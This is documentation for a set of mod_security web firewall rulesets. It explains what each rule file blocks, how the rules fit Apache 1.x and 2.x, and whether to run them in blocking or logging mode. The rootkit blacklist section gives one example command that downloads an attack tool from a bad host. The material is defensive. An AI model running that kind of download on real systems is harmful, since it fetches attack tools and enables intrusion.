These rules are designed to work together. You can run with all of them, or just some of the rule files. In general, if you are running Apache 2.x, you can use all the rule set files. This is how we run all of our servers, as do many others, if you run Apache 1.x, you must exclude some of the files (detailed in this document) as some of the rules do not work with Apache 1.x (Sorry, Apache 1.x has a different engine, with some limitations).

However, its important to recognize that these rules are designed to stop certain connections to your system. This means they will block traffic. Most of the time (we would hope ALL of the time) it will only block attacks, but it could block something that isn't an attack. Like all human built systems it can have mistakes in it. So it is possible that they may accidentally block something important on your system. Not everyones server is the same, so if you use these rules you should be prepared to check your logs for possible false alarms and to report them to the mailing list so we can fix them. We work very hard to eliminate any problem with the rules as rapidly as possible, so please let us know if you have any problems. We're happy to help.

We take great care to produce rules that do not false alarm as much as is possible, but it is very difficult to produce "perfect" rules for every possible system, application, language, culture or user base out there. With all that said, we use all the rules on our systems and have tremendous luck with them, and we would hope that would use them all as well so we can get feedback in case there is a false alarm. In general, the false alarms are very low these days.

So, the short answer to the question "Which rules should I run?" is: Run with all of them, but keep a close eye on them to make sure there are no false alarms and when there are, report them to the mailing list. The longer answer is that you should spend the time to know what the rules are doing to your system, and to remove those rules that cause a conflict and only run with those rules that work with your system. No one knows your system as well as you do. Again, if you do run into a false alarm or if the rules miss an attack, don't work your system, seem wrong, etc., please report that on the mailing list and we will get to it as rapidly as possible.

If you are running Apache 1.x you should not use the "Additional rules for apache 2.x". They will not work with most Apache 1.x installations.

Application protection rules

Right now these are the most important rules. They contain all the specific signatures for vulnerabilities currently known in most major web applications. Again, if we missed something, please post that to the mailing list. If you want to protect your system, it is highly recommended you use these rules. Also, they change very rapidly, on a sometimes daily basis so you are also advised to watch for updates to these rules. As time goes by, the process of managing this will only improve, with better tools to automate the updates. If you look at the bottom of the mod_security rules page you will see a link to a tool that can automate the downloading of new rules. Again, as with all the rules you need to monitor what they are doing on your system in case there are any false alarms. The intent of these rules is not to only alert you of an attack, as with snort and other IDS', but to stop the attack so this system can accidentally block legitmate traffic although we work hard to prevent this from happening. You can configure mod_security to run as just an IDS, but we prefer to run it as an IPS.

Just in Time Patching for Vulnerable Applications

These are specially tailored rules to protect specific applications against specific vulnerablities. The intent of these rules is to help protect machines where patching is not possible, or can not be done in a timely manner. Its certainly not recommended that you avoid patching your machines, but its also understood that in some cases its difficult to patch as quickly as you might like too. So enter the JITP rules, to help fill that gap. This rule set is one of the larger rulesets, and we recommend you tailor these rules to fit your system as you probably do not need all of them. A GUI to manage this process is in development, and will be announced on this website and the mailing list when it is ready for testing.

UserAgent rules

This is fairly safe ruleset to run with. It contains a list of known "bad" user agents strings, bogus strings, strings used by exploits, attack tools, vulnerability assessment tools and will also look for general attack patterns in the identity of the HTTP message to look for attacks. This ruleset should be safe for any system.

Comment spam rules

These rules exclusively block comment and referer spam. If you want to block spam on your server, then you should use these rules.

RootKit/Owned boxes blacklist

This ruleset contains a list of known sources of attack scripts, and otherwise bad sources of traffic. This ruleset will help to block attacks such as:

wget http://bad-box.info/attack-tool.pl

This ruleset is very simple, and should not be run exclusively. Its a backup ruleset to help catch new attacks that may include attempts to download attack tools from known sources. It can not protect you from new attacks to unknown sources. This ruleset also contains a list of currently known bad proxy servers and other hosts used to spam and attack servers.

Proxy scan rules

This ruleset will help to block attempts to proxy traffic through a web server that is either accidentally or specifically setup to proxy traffic. If you system is one of the later (you want to proxy traffic) then will want to modify these rules where necessary to allow legitimate traffic to proxy thru your server, but to block unauthorized traffic. If you are not running a proxy you can, and should, still use these rules. They should not block any legitimate traffic and will help to protect your server from accidentally being configured as a proxy, or if a bug exists in an application or the server itself.

Additional Apache 2.x rules

This is a supplemental ruleset for the Application Protection Rules for Apache 2.x servers. Some of the rules do not work with Apache 1.x, and this file contains those rules. If you are running Apache 2.x, and you use the Application Protection rules, then you are highly encouraged to run these rules.

Rules for Windows based servers

These rules are for users that run Apache on Windows based servers, or for servers that may proxy traffic to or for Windows based servers. This ruleset contains rules that effect only Windows based applications. If you are not using Windows, then you do not need these rules.

Exclusion Rules

This ruleset is highly recommended for every server. It contains special exclusions to the rules for certain software that might otherwise false alarm with some of the more generic rules, or with vulnerability protection rules that can not otherwise be written in a narrow manner.

These rules are not like snort rules. They can and will block traffic in real time, if this is not something you can do, then you should not run with these rules in the default configuration described on the setup of mod_security page. You should run in this configuration mode:

SecFilterDefaultAction? "pass,log"

If you can block connections in real time, and we highly recommend you do, then just stick with the configuration as described on the Setup of mod_security page. Such as in this example:

SecFilterDefaultAction? "deny,log,status:500"

This is how we and many others have our servers configured. The intent of something like modsecurity, in our opinion, should be to stop attacks, not to merely alert on them. However, not everyone has this luxury, so configure your system accordingly. And again, if you do run into a false alarm, or if the rules do not catch an attack, please post your audit_log, error_log, access_log and any other information you have to the http://lists.gotroot.com/mailman/listinfo/modsecurity.

---